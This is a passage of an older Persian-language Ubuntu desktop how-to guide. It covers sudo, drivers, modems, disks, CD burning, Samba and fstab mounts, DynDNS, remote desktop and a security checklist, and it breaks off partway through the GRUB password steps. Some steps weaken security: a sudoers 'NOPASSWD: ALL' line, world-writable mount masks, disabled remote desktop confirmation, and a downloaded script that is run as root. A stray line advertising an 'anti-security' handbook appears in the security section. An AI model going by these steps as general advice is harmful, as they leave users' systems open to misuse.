  . را مطالعه نمایيدنکات عمومی .١
2. export EDITOR=gedit && sudo visudo 

 . کنيدخط فرمان زیر را پيدا  .٣

... 
system_username ALL=(ALL) ALL 
... 

 . به جای خط فرمان بالا این خط فرمان را بنویسيد .٤

system_username ALL=(ALL) NOPASSWD: ALL 

 )یش شدهیک نمونه از فایل ویرا. (فایل ویرایش شده را ذخيره نمایيد .٥

   را قطع کنم ؟sudo sessionچگونه یک 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo -K 

 چگونه مجوزهای دسترسی به فایلها یا پوشه ها را تغيير دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. Right click on files/folders -> Properties 
3.  
4. Permissions Tab -> Read/Write/Execute (Checked the permissions for Owner/Group/Others) 

 چگونه کاربران دارای مجوز دسترسی به فایلها و پوشه ها را تغيير دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. sudo chown system_username /location_of_files_or_folders 

 چگونه گروه های کاربری دارای مجوز دسترسی به فایلها و پوشه ها را تغيير دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. sudo chgrp system_groupname /location_of_files_or_folders 
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  سخت افزار

  

   را نصب کنم ؟NVIDIAچگونه درایور کارتهای گرافيکی 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. sudo apt-get install nvidia-glx 
sudo apt-get install nvidia-settings 
sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf_backup 
sudo nvidia-glx-config enable 
sudo gedit /usr/share/applications/NVIDIA-Settings.desktop 

 . خط فرمانهای زیر را در فایل جدید بنویسيد .٤

[Desktop Entry] 
Name=NVIDIA Settings 
Comment=NVIDIA Settings 
Exec=nvidia-settings 
Icon= 
Terminal=false 
Type=Application 
Categories=Application;System; 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٥
 را ، مجددا راه اندازی کنم) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری  بخش .٦

  . مطالعه نمایيد
٧. Applications - <System Tools - <NVIDIA Settings  

   ؟ غير فعال کنمGNOME را زمان ورود به NVIDIAچگونه لوگوی 

  . را مطالعه نمایيدنکات عمومی .١
   . را مطالعه نمایيد را نصب کنمNVIDIAچگونه درایور کارتهای گرافيکی بخش  .٢

3. sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf_backup 
sudo gedit /etc/X11/xorg.conf 

 . خط فرمانهای زیر را پيدا کنيد .٤

... 
Section "Device" 
 Identifier "NVIDIA Corporation NV11 [GeForce2 MX/MX 400]" 
 Driver  "nvidia" 
 BusID  "PCI:1:0:0" 
... 

 .  خطوط بالا اضافه نمایيدخط فرمان زیر را به انتهای .٥

        Option  "NoLogo" 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٦
 را ، مجددا راه اندازی کنم) reboot( را بدون نياز به راه اندازی مجدد کل سيستم GNOMEچگونه محيط کاربری  بخش .٧

   .مطالعه نمایيد

   مودم را تشخيص دهم ؟chipsetچگونه نوع 

  . را مطالعه نمایيدینکات عموم .١
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   برای نصب شناسنده مودم .٢
   را مطالعه نمایيد ؟ را نصب کنمessential-build های تکميلی Compilerچگونه بسته های نرم افزاری بخش  .١

2. wget -c http://frankandjacq.com/ubuntuguide/scanModem.gz 
3. gunzip -c scanModem.gz > scanModem 
4. chmod +x scanModem 
5. sudo cp scanModem /usr/bin/ 

  مودمChipset برای تشخيص نوع   .٣

sudo scanModem 
gedit Modem/ModemData.txt 

  

   را نصب کنم ؟SmartLinkچگونه درایور مودم 

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢

3. uname -r (must be 2.6.10-5-386) 
wget -c http://frankandjacq.com/ubuntuguide/sl-modem-modules-2.6.10-5-386_2.9.9a-1ubuntu2+2.6.10-34_i386.deb 

4. sudo dpkg -i sl-modem-modules-*.deb 
5. sudo apt-get install sl-modem-daemon 

  را نصب کنم ؟PalmOSچگونه دستگاه جانبی 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo gedit /etc/udev/rules.d/10-custom.rules 

  .این خط فرمان را در فایل جدید بنویسيد .٣

BUS="usb", SYSFS{product}="Palm Handheld*", KERNEL="ttyUSB*", NAME{ignore_remove}="pilot", MODE="666" 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٤
٥. System - <Preferences - <PalmOS Devices  
  .تی که خواهيد دید انجام دهيدا دستورطبقادامه کار را  .٦

  چگونه ليستی از پارتيشن ها بگيرم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. sudo fdisk -l 

 ضای خالی آن بگيرم ؟چگونه گزارشی از فضای استفاده شده هارد دیسک و مقدار ف

  . را مطالعه نمایيدنکات عمومی .١
2. df -T -h 

  شده را ببينم ؟mountچگونه ليست فضاهای 

  .لعه نمایيد را مطانکات عمومی .١
2. mount 

  را ببينم ؟PCIچگونه ليست درگاه های 

  . را مطالعه نمایيدنکات عمومی .١
2. lspci 

  را ببينم ؟USBچگونه ليست درگاه های 
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  . را مطالعه نمایيدنکات عمومی .١
2. lsusb 

  را بالا ببرم ؟CD/DVD-ROMچگونه سرعت 

  . را مطالعه نمایيدنکات عمومی .١
  . شماستCD/DVD-ROMمحل / dev/cdromفرض ميکنيم  .٢

3. sudo hdparm -d1 /dev/cdrom 
sudo cp /etc/hdparm.conf /etc/hdparm.conf_backup 
sudo gedit /etc/hdparm.conf 

 . خط فرمانهای زیر را در انتهای فایل باز شده بنویسيد .٤

/dev/cdrom { 
       dma = on 
} 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٥

   کنم و کليه فایلها و پوشه های عادی و مخفی آنها را ببينم ؟mount/unmount را به صورت دستی CD/DVD-ROMچگونه 

  . را مطالعه نمایيدنکات عمومی .١
  . شماستCD/DVD-ROMمحل / dev/cdrom فرض ميکنيم .٢
   CD/DVD-ROM کردن mountبرای  .٣

sudo mount /media/cdrom0/ -o unhide 

  CD/DVD-ROM کردن unmountبرای  .٤

sudo umount /media/cdrom0/ 

  کنم ؟unmount را CD/DVD-ROMچگونه به اجبار 

  . را مطالعه نمایيدنکات عمومی .١
  . شماستCD/DVD-ROMمحل / dev/cdromفرض ميکنيم  .٢

3. sudo umount /media/cdrom0/ -l 

  کنم ؟mountرا بدون نياز به راه اندازی مجدد سيستم، دوباره / etc/fstabچگونه 

  . را مطالعه نمایيدنکات عمومی .١
2. sudo mount -a 

 

  CD/DVDنوشتن روی 

  

  را پاک کنم ؟ CD-RW/DVD-RWچگونه یک 

  . را مطالعه نمایيدنکات عمومی .١
  شماست CD/DVD-ROMمسير / dev/cdromفرض ميکنيم  .٢

3. sudo umount /dev/cdrom 
cdrecord dev=/dev/cdrom blank=fast 

 بنویسم ؟ CD/DVDچگونه فایلها یا پوشه هایی را روی 

  . را مطالعه نمایيدنکات عمومی .١
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2. nautilus burn:/// 
  CD/DVD Creator: پنجره دیدن فایلها  .٣

Drag files/folders into window 
 

File Menu -> Write to Disc... -> Write 

 بنویسم ؟ CD/DVDرا روی یک  Image (ISO(چگونه فایلهای 

  . را مطالعه نمایيدنکات عمومی .١
2. Right click on Image (ISO) file -> Write to Disc... -> Write 

 بنویسم ؟ CD/DVDچگونه چند بار از روی یک 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدازم بس Image) ISO(فایل  DVD/CDچگونه از محتویات یک بخش  .٢
  .را مطالعه نمایيدبنویسم  DVD/CDرا روی یک   ISO(Image(چگونه فایلهای بخش  .٣

  بسازم ؟ Image (ISO(فایل  CD/DVDچگونه از محتویات یک 

  . را مطالعه نمایيد عمومینکات .١
  شماست CD/DVD-ROMمسير / dev/cdromفرض ميکنيم  .٢

3. sudo umount /dev/cdrom 
dd if=/dev/cdrom of=file.iso bs=1024 

 بسازم ؟ Image (ISO(چگونه از محتویات یک پوشه فایل 

  . را مطالعه نمایيدمومینکات ع .١
2. mkisofs -o file.iso /location_of_folder/ 

 یک فایل را در فایل دیگری ذخيره کنم ؟ MD5چگونه اندازه 

  . را مطالعه نمایيدنکات عمومی .١
2. md5sum file.iso > file.iso.md5 

 یک فایل را چک کنم ؟ MD5اندازه چگونه 

  . را مطالعه نمایيدنکات عمومی .١
  .در یک پوشه هستند file.iso.md5و  file.isoفرض ميکنيم  .٢

3. md5sum -c file.iso.md5 

 کنم و محتویات آنرا ببينم ؟ mountرا  Image) ISO(یک فایل  CD/DVDچگونه بدون نوشتن بر روی 

  . را مطالعه نمایيدنکات عمومی .١
     Image (ISO (کردن یک فایل mountبرای  .٢

sudo mkdir /media/iso 
sudo modprobe loop 

sudo mount file.iso /media/iso/ -t iso9660 -o loop 

  Image (ISO (کردن یک فایل unmountبرای  .٣

sudo umount /media/iso/ 

 نویس را تنظيم یا تغيير دهم ؟ CD/DVDچگونه سرعت نوشتن یک دستگاه 
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  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <System Tools - <Configuration Editor  
٣. Configuration Editor   

/ -> apps -> nautilus-cd-burner -> default_speed (set/change the burn speed) 

 نویس فعال کنم ؟ CD/DVDرا برای دستگاه  burnproofچگونه 

  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <System Tools - <Configuration Editor  
٣. Configuration Editor   

/ -> apps -> nautilus-cd-burner -> burnproof (Checked) 

 نویس فعال کنم ؟ CD/DVDرا برای دستگاه  overburnچگونه 

  . را مطالعه نمایيدنکات عمومی .١
٢. Applications - <System Tools - <Configuration Editor  
٣. Configuration Editor   

/ -> apps -> nautilus-cd-burner -> overburn (Checked) 

   
  

  شبکه

  

  چگونه اتصالات شبکه را فعال و غير فعال کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Administration - <Networking  
٣. Network settings   

Connections Tab -> Select "Ethernet connection" -> Activate/Deactivate 

 چگونه اتصالات شبکه را پيکربندی کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Administration - <Networking  
٣. Network settings   

4. Connections Tab -> Select "Ethernet connection" -> Properties 
5. Connection -> This device is configured (Checked) 

Connection Settings -> Configuration: Select "DHCP/Static IP address" 
6.  

DNS Tab -> DNS Servers -> Add/Delete 

  .را مطالعه نمایيد چگونه اتصالات شبکه را فعال و غيرفعال کنمبخش  .٧

  اینترنت از طریق مودم و خط تلفن را پيکربندی کنم ؟چگونه اتصال به 

  . را مطالعه نمایيدنکات عمومی .١
   برای پيکربندی اتصال به اینترنت .٢
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sudo pppconfig 

  برای وصل شدن به اینترنت .٣

sudo pon provider_name 

  البرای قطع اتص .٤

sudo poff 

 چگونه اتصال به اینترنت با پهنای باند زیاد را پيکربندی کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
2. sudo pppoeconf 

 چگونه اسم کامپيوتر را عوض کنم ؟

  . را مطالعه نمایيدنکات عمومی .١
٢. System - <Administration - <Networking  
٣. Network settings   

General Tab -> Host Settings -> Hostname: Specify the computer name 

 .نمایيد) reboot(ه اندازی کليه پنجره های باز را ذخيره کرده و ببندید و سپس سيستم را دوباره را .٤

   را عوض کنم ؟Computer Descriptionچگونه 

  . را مطالعه نمایيدنکات عمومی .١
   . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaه چگونه سرویس دهند بخش .٢

3. sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . خط فرمان زیر را پيدا نمایيد .٤

... 
   server string = %h server (Samba, Ubuntu) 
... 

 کلمه مورد نظرتان new_computer_descriptionsیادتان باشد به جای .  خط فرمان را به جای خط فرمان بالا بنویسيداین .٥
 . را بنویسيد

   server string = new_computer_descriptions 

  )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٦
7. sudo testparm 

sudo /etc/init.d/samba restart 

  سيستم را عوض کنم ؟Domain/Workgroupچگونه اسم 

  . را مطالعه نمایيدنکات عمومی .١
   . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaچگونه سرویس دهنده  بخش .٢

3. sudo cp /etc/samba/smb.conf /etc/samba/smb.conf_backup 
sudo gedit /etc/samba/smb.conf 

 . ر را پيدا نمایيدخط زی .٤
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... 
   workgroup = MSHOME 
... 

 . این خط فرمان را به جای خط بالا بنویسيد .٥

   workgroup = new_domain_or_workgroup 

 )نه از فایل ویرایش شدهیک نمو. (فایل ویرایش شده را ذخيره نمایيد .٦
7. sudo testparm 

sudo /etc/init.d/samba restart 

  دهم ؟IP ، اسم کامپيوتر را عوض کرده و به صورت متغير به آن DynDNSچگونه با کمک سرویس رایگان 

  .يد را مطالعه نماینکات عمومی .١
  . را مطالعه نمایيداضافه کردن مخازن تکميلیبخش  .٢
  فرض ميکنيم که اتصال اینترنت شما برقرار است .٣

   ثبت نمایيدorg.dyndns.www://https رایگان در Dynamic DNSیک 
  .خواهد شد) refresh( تازه DynDNS از طریق IPبه صورت اتوماتيک ساعتی یک بار 

 * * * * *means minute hour date month year  
4. sudo apt-get install ipcheck 

sudo gedit /root/dyndns_update.sh 
 . خط فرمانهای زیر را در فایل جدید بنویسيد .٥

USERNAME=myusername 
PASSWORD=mypassword 
HOSTNAME=myhostname.dyndns.org 
 
cd /root/ 
if [ -f /root/ipcheck.dat ]; then 
  ipcheck -r checkip.dyndns.org:8245 $USERNAME $PASSWORD $HOSTNAME 
else 
  ipcheck --makedat -r checkip.dyndns.org:8245 $USERNAME $PASSWORD $HOSTNAME 
fi 

 )یک نمونه از فایل ویرایش شده. (ش شده را ذخيره نمایيدفایل ویرای .٦
7. sudo chmod 700 /root/dyndns_update.sh 

sudo sh /root/dyndns_update.sh 
export EDITOR=gedit && sudo crontab -e 

 . فرمان زیر را به انتهای فایل باز شده اضافه نمایيدخط  .٨

00 * * * * sudo sh /root/dyndns_update.sh 

 .فایل ویرایش شده را ذخيره نمایيد .٩

  چگونه با یک روش آسان پوشه هایی را در سيستم خود به اشتراک بگذارم ؟

  . را مطالعه نمایيدنکات عمومی .١
   . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaچگونه سرویس دهنده  بخش .٢

3. Right click on folder -> Share folder 
4.  
5. Shared folder -> Share with: Select "SMB" 
6. Share properties -> Name: Specify the share name 

 چگونه سيستم های موجود در شبکه را ببينم و وارد پوشه های به اشتراک گذاشته شده آنها شوم ؟

  .مطالعه نمایيد را نکات عمومی .١
  .فرض ميکنيم کليه تنظيمات شبکه شما به خوبی انجام شده است .٢

  
٣. Places - <Network Servers  
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 ٣٨٧    صفحه

   کردن به پوشه های به اشتراک گذاشته شده شبکه ای دسترسی داشته باشم ؟mountچگونه بدون 

  . را مطالعه نمایيدنکات عمومی .١
  .فرض ميکنيم کليه تنظيمات شبکه شما به خوبی انجام شده است .٢

  ١٩٢٫١٦٨٫٠٫١:  سيستم IPآدرس 
  linux: نام پوشه به اشتراک گذاشته شده 

٣. Applications - <Run Application  
٤. Run Application   

smb://192.168.0.1/linux 

 کنم و به همه کاربران اجازه فقط خواندن mount/unmountچگونه پوشه های به اشتراک گذاشته شده شبکه ای را به صورت دستی 
 دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaچگونه سرویس دهنده  بخش .٢
  .فرض ميکنيم کليه تنظيمات شبکه شما به خوبی انجام شده است .٣

  ١٩٢٫١٦٨٫٠٫١:  سيستم IPآدرس 
  myusername: د شدن به شبکه نام کاربری برای وار

  mypassword: کلمه رمز برای وارد شدن به شبکه 
  linux: نام پوشه به اشتراک گذاشته شده 

  /media/sharename:  محلی mountمسير پوشه 
   کردن پوشه شبکه ای mountبرای  .٤

sudo mkdir /media/sharename 
sudo mount //192.168.0.1/linux /media/sharename/ -o username=myusername,password=mypassword 

  کردن پوشه شبکه ای unmountبرای  .٥

sudo umount /media/sharename/ 

 کنم و به همه کاربران اجازه خواندن و mount/unmountچگونه پوشه های به اشتراک گذاشته شده شبکه ای را به صورت دستی 
 نوشتن دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaچگونه سرویس دهنده  بخش .٢
  .ليه تنظيمات شبکه شما به خوبی انجام شده استفرض ميکنيم ک .٣

  ١٩٢٫١٦٨٫٠٫١:  سيستم IPآدرس 
  myusername: نام کاربری برای وارد شدن به شبکه 

  mypassword: کلمه رمز برای وارد شدن به شبکه 
  linux: نام پوشه به اشتراک گذاشته شده 

  /media/sharename:  محلی mountمسير پوشه 
    

  دن پوشه شبکه ای  کرmountبرای  .٤

sudo mkdir /media/sharename 
sudo mount //192.168.0.1/linux /media/sharename/ -o username=myusername,password=mypassword,dmask=777,fmask=777 

  کردن پوشه شبکه ای unmountبرای  .٥

sudo umount /media/sharename/ 

 کنم و به همه کاربران اجازه فقط خواندن mountبکه ای را در زمان راه اندازی سيستم چگونه پوشه های به اشتراک گذاشته شده ش
 دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد را برای به اشتراک گذاری پوشه ها و فایلها راه اندازی کنمSambaچگونه سرویس دهنده  بخش .٢
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 ٣٨٨    صفحه

  .فرض ميکنيم کليه تنظيمات شبکه شما به خوبی انجام شده است .٣
  ١٩٢٫١٦٨٫٠٫١:  سيستم IPآدرس 

  myusername: نام کاربری برای وارد شدن به شبکه 
  mypassword: ه شبکه کلمه رمز برای وارد شدن ب

  linux: نام پوشه به اشتراک گذاشته شده 
  /media/sharename:  محلی mountمسير پوشه 

       
4. sudo mkdir /media/sharename 

sudo gedit /root/.smbcredentials 
 . خطوط زیر را در فایل جدید بنویسيد .٥

username=myusername 
password=mypassword 

 )یک نمونه از فایل ویرایش شده. (را ذخيره نمایيدفایل ویرایش شده  .٦
7. sudo chmod 700 /root/.smbcredentials 

sudo cp /etc/fstab /etc/fstab_backup 
sudo gedit /etc/fstab 

 .  فایل اضافه نمایيدخط فرمان زیر را به انتهای .٨

//192.168.0.1/linux        /media/sharename  smbfs    credentials=/root/.smbcredentials       0       0 

 )رایش شدهیک نمونه از فایل وی. (فایل ویرایش شده را ذخيره نمایيد .٩
  . را مطالعه نمایيد کنم mountرا بدون نياز به راه اندازی مجدد سيستم، دوباره / fstab/etcچگونه بخش  .١٠

ازه خواندن و  کنم و به همه کاربران اجmountچگونه پوشه های به اشتراک گذاشته شده شبکه ای را در زمان راه اندازی سيستم 
  نوشتن دهم ؟

  . را مطالعه نمایيدنکات عمومی .١
  . را مطالعه نمایيد فایلها راه اندازی کنم را برای به اشتراک گذاری پوشه ها وSambaچگونه سرویس دهنده  بخش .٢
  .فرض ميکنيم کليه تنظيمات شبکه شما به خوبی انجام شده است .٣

  ١٩٢٫١٦٨٫٠٫١:  سيستم IPآدرس 
  myusername: نام کاربری برای وارد شدن به شبکه 

  mypassword: کلمه رمز برای وارد شدن به شبکه 
  linux: نام پوشه به اشتراک گذاشته شده 

  /media/sharename:  محلی mountير پوشه مس
       

4. sudo mkdir /media/sharename 
sudo gedit /root/.smbcredentials 

 . خطوط زیر را در فایل جدید بنویسيد .٥

username=myusername 
password=mypassword 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٦
7. sudo chmod 700 /root/.smbcredentials 

sudo cp /etc/fstab /etc/fstab_backup 
sudo gedit /etc/fstab 

 . خط فرمان زیر را به انتهای فایل اضافه نمایيد .٨

//192.168.0.1/linux        /media/sharename  smbfs   credentials=/root/.smbcredentials,dmask=777,fmask=777   0       0 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٩
  . را مطالعه نمایيد کنمmountرا بدون نياز به راه اندازی مجدد سيستم، دوباره / fstab/etcچگونه بخش  .١٠

  
  

  )Remote Desktop(دسترسی به سيستم از راه دور
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 ٣٨٩    صفحه

  

  )این کار امن نيست(چگونه دسترسی به سيستم از راه دور را پيکر بندی کنيم ؟ 

  . را مطالعه نمایيدنکات عمومی .١
  . داشته باشيدGNOME فقط زمانی مستوانيد کار نمایيد که یک اجازه ورود فعال به Remote Desktopبا ! هشدار .٢

  ش کردن مانيتور اجازه ورود           و خاموSystem - - <Lock Screenفراموش ننمایيد، زمانی که پشت سيستم نيسنيد از طریق 
  .        به سيستم توسط افراد دیگر را ندهيد

٣. System - <Preferences - <Remote Desktop  
٤. Remote Desktop Preferences   

Sharing -> 
Allow other users to view your desktop (Checked) 
Allow other users to control your desktop (Checked) 
 
Security -> 
Ask you for confirmation (Un-Checked) 
Require the user to enter this password: (Checked) 
Password: Specify the password 

 چگونه به یک سيستم از راه دور وصل شویم ؟

  . را مطالعه نمایيدنکات عمومی .١
   را تنظيم و فعال کرده ایم   Remote Desktopفرض ميکنيم  .٢

  . است١٩٢٫١٦٨٫٠٫١ راه دور Ubuntuآدرس ماشين 
3. vncviewer -fullscreen 192.168.0.1:0 

 . را فشار دهيدF8 -- <Quit Viewerبرای خارج شدن کليد  .٤

   وصل شویم ؟ Ubuntuچگونه از طریق ویندوز به یک سيستم 

  . را مطالعه نمایيدنکات عمومی .١
   را تنظيم و فعال کرده ایمRemote Desktopفرض ميکنيم  .٢

  . است١٩٢٫١٦٨٫٠٫١ راه دور Ubuntuآدرس ماشين 
٣. VNC Viewer دریافت نمایيداینجا را از .  

  
  

  ويندوز

  

 کنيم و به کليه کاربران سيستم اجازه فقط mount/unmount را NTFSچگونه به صورت دستی پارتيشن های ویندوزی با فرمت 
  خواندن دهيم ؟

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدچگونه ليستی از پارتيشن ها بگيرم بخش  .٢
  )NTFS.(مسير پارتيشن ویندوزی است/ dev/hda1فرض ميکنيم  .٣

  .است/ media/windows:  محلی mountمسير پوشه 
  ندوزی  کردن پارتيشن ویmountبرای  .٤

sudo mkdir /media/windows 
sudo mount /dev/hda1 /media/windows/ -t ntfs -o utf8,umask=0222 

  کردن پارتيشن ویندوزی unmountبرای  .٥

sudo umount /media/windows/ 
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 ٣٩٠    صفحه

 خواندن و نوشتن  کنيم و به کليه کاربران اجازهmount/unmount را FATچگونه به صورت دستی پارتيشن های ویندوزی با فرمت 
 دهيم ؟

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدچگونه ليستی از پارتيشن ها بگيرم بخش  .٢
  )FAT.(دوزی استمسير پارتيشن وین/ dev/hda1فرض ميکنيم  .٣

  .است/ media/windows:  محلی mountمسير پوشه 
   کردن پارتيشن ویندوزی mountبرای  .٤

sudo mkdir /media/windows 
sudo mount /dev/hda1 /media/windows/ -t ntfs -o utf8,umask=0222 

  کردن پارتيشن ویندوزی unmountبرای  .٥

sudo umount /media/windows/ 

 کنيم و به کليه کاربران سيستم اجازه فقط mount را در زمان راه اندازی سيستم NTFSن های ویندوزی با فرمت چگونه پارتيش
 خواندن دهيم ؟ 

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدچگونه ليستی از پارتيشن ها بگيرم بخش  .٢
  )NTFS.(مسير پارتيشن ویندوزی است/ dev/hda1فرض ميکنيم  .٣

  .است/ media/windows:  محلی mountمسير پوشه 
4. sudo mkdir /media/windows 

sudo cp /etc/fstab /etc/fstab_backup 
sudo gedit /etc/fstab 

 . نتهای فایل باز شده بنویسيدخط فرمان زیر را در ا .٥

/dev/hda1       /media/windows  ntfs    utf8,umask=0222 0       0 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٦
  . را مطالعه نمایيد کنمmountرا بدون نياز به راه اندازی مجدد سيستم، دوباره / fstab/etcچگونه بخش  .٧

 کنيم و به کليه کاربران سيستم اجازه خواندن و mount را در زمان راه اندازی سيستم FATچگونه پارتيشن های ویندوزی با فرمت 
  نوشتن دهيم ؟

  . را مطالعه نمایيدنکات عمومی .١
  .را مطالعه نمایيدچگونه ليستی از پارتيشن ها بگيرم بخش  .٢
  )FAT.(مسير پارتيشن ویندوزی است/ dev/hda1فرض ميکنيم  .٣

  .است/ media/windows:  محلی mountمسير پوشه 
4. sudo mkdir /media/windows 

sudo cp /etc/fstab /etc/fstab_backup 
sudo gedit /etc/fstab 

 . خط فرمان زیر را در انتهای فایل باز شده بنویسيد .٥

/dev/hda1       /media/windows  vfat    utf8,umask=000  0       0 

 )یک نمونه از فایل ویرایش شده. (فایل ویرایش شده را ذخيره نمایيد .٦
  . را مطالعه نمایيد کنمmountرا بدون نياز به راه اندازی مجدد سيستم، دوباره / fstab/etcچگونه بخش  .٧

  
  

  امنيت

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٣٩١    صفحه

   باید بدانم چيست ؟Ubuntuضروری که من راجع به ایمن نگاه داشتن یک سيستم نکات 

  . را مطالعه نمایيدنکات عمومی .١
  .  استBIOS در تنظيمات bootمطمئن شوید که هارد دیسک اولين گزینه  .٢

  . نصب کلمه رمز شما را تغيير دهندCDفاده افرادی که ميتوانند از طریق برای جلوگيری از سوء است .١
برای جلوگيری از سوء استفاده افرادی که ميتوانند با کمک یک دیسک زنده لينوکس به اطلاعات شما دسترسی پيدا  .٢

  .کنند و یا حتی اطلاعات شما را به اشتراک گذارند
   روی سيستم شمابرای جلوگيری از نصب یک سيستم عامل جدید بر .٣

  .  خود کلمه رمز تنظيم کرده ایدBIOSمطمئن شوید که برای  .٣
   سيستمbootبرای جلوگيری از تغيير مراحل  .١

  مطمئن شوید که سيستم شما در یک فضای امن قرار دارد  .٤
برای جلوگيری از به سرقت رفتن و یا خراب شدن اطلاعات شما از طریق آسيب رسيدن و یا به سرقت رفتن هارد  .١

  یسکد
   خواهد شدBIOS که باعث از بين رفتن کلمه رمز BIOSبرای جلوگيری از برداشتن باتری  .٢

   تنظيم کرده اید به راحتی قابل حدث زدن نباشد BIOSمطمئن شوید کلمه رمزی که برای  .٥
  ممکن است برخی سوء استفاده گرها اینگونه کلمه رمز شما را حدث بزنند .١
   حرفی باشد٨کلمه رمزتان حداقل  .٢
  کنيدلمه رمزی متشکل از حروف بزرگ و کوچک و اعداد و سایر کاراکترها درست ک .٣

  .  را غير فعال نموده ایدGRUBمطمئن شوید که ویرایش قسمتهای مختلف منوی  .٦
 به سيستم شما آسيب وارد kernel boot-upبرای جلوگيری از سوء استفاده افرادی که ميتوانند با انجام تنظيماتی در  .١

  کنند
  را مطالعه نمایيد را غير فعال کنم GRUBچگونه کليه قسمتهای کنترلی قابل ویرایش منوی بخش  .٢

  مطمئن شوید که ليست گيری از فرمانهای کنسول غير فعال است  .٧
  هااستفاده گر< برای جلوگيری از مشاهده فرمانهای قبلی اجرا شده شما توسط سو .١
  را مطالعه نمایيد چگونه ليست گرفتن از فرمانهای اجرا شده قبلی را در کنسول غير فعال کنم بخش  .٢

   در حالت کنسول غير فعال است Alt+Ctrl+Delمطمئن شوید انجام عمليات راه اندازی مجدد سيستم با فشردن کليدهای  .٨
  گيری از راه اندازی مجدد سيستم شما توسط افرادی که مجوز دسترسی ندارندبرای جلو .١
) reboot( در کنسول، سيستم دوباره راه اندازی Del+Alt+Ctrlچگونه اجاره ندهم با فشار دادن کليدهای بخش  .٢

  را مطالعه نمایيد شود 
  فایلها و پوشه ها از شما اجازه خواهد گرفت ...  حذف یا کپی یا مطمئن شوید سيستم برای .٩

  برای جلوگيری از حذف یا دوباره نویسی فایلها و پوشه ها  .١
را مطالعه  فعال کنم چگونه گزینه اخطار قبل از پاک کردن یا دوباره نوشته شدن روی فایلها یا پوشه ها رابخش  .٢

  نمایيد 
  برای کارهای روزمره با کاربر عادی سيستم با سطح دسترسی محدود وارد سيستم شوید  .١٠

  برای جلوگيری از حذف فایلها یا ایجاد تغييرات اتفاقی در سيستم .١
  را مطالعه نمایيد ر دهم کم و یا تغيي/چگونه کاربران سيستم را اضافهبخش  .٢

   استفاده نمایيد sudo را غير فعال نموده و از دستور rootکاربر  .١١
  rootبرای کم کردن زمانهای استفاده از سيستم با سطح کاربری  .١
٢. sudoامکان ردگيری و بازرسی بهتری به شما ميدهد  ) .var/log/auth.log( /  
  را مطالعه نمایيد  را غير فعال کنم rootچگونه کاربر بخش  .٣

  یک دیواره آتش نصب نمایيد  .١٢
  دیواره آتش نمی تواند امنيت را تضمين کند ولی جلوی بسياری حملات را خواهد گرفت .١
  را مطالعه نمایيدب کنم  را نصFirestarterچگونه بسته نرم افزاری برنامه مدیریت دیواره آتش   بخش .٢

  امنيت سيستم را تست نمایيد  .١٣
١. Nessusابزار بسيار مناسبی جهت اتوماتيک کردن کشف مشکلات امنيتی سيستم است   
  را مطالعه نمایيد را نصب کنم Nessusچگونه بسته نرم افزاری برنامه مدیریت امنيتی سيستم   بخش .٢

   را غير فعال کنم ؟GRUBهای کنترلی قابل ویرایش منوی چگونه کليه قسمت

  . را مطالعه نمایيدنکات عمومی .١
2. grub 
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grub> md5crypt 
Password: ****** (ubuntu) 
Encrypted: $1$ZWnke0$1fzDBVjUcT1Mpdd4u/T961 (encrypted password) 
grub> quit 
 
sudo cp /boot/grub/menu.lst /boot/grub/menu.lst_backup 
sudo gedit /boot/grub/menu.lst 

 . کنيدخط فرمانهای زیر را پيدا  .٣

... 
## password ['--md5'] passwd 
# If used in the first section of a menu file, disable all interactive editing 
# control (menu entry editor and command-line)  and entries protected by the 
# command 'lock' 
# e.g. password topsecret 
#      password --md5 $1$gLhU0/$aW78kHK1QfV3P2b2znUoe/ 
# password topsecret 
... 

 . این خط فرمان را زیر خط فرمانهای بالا بنویسيد .٤

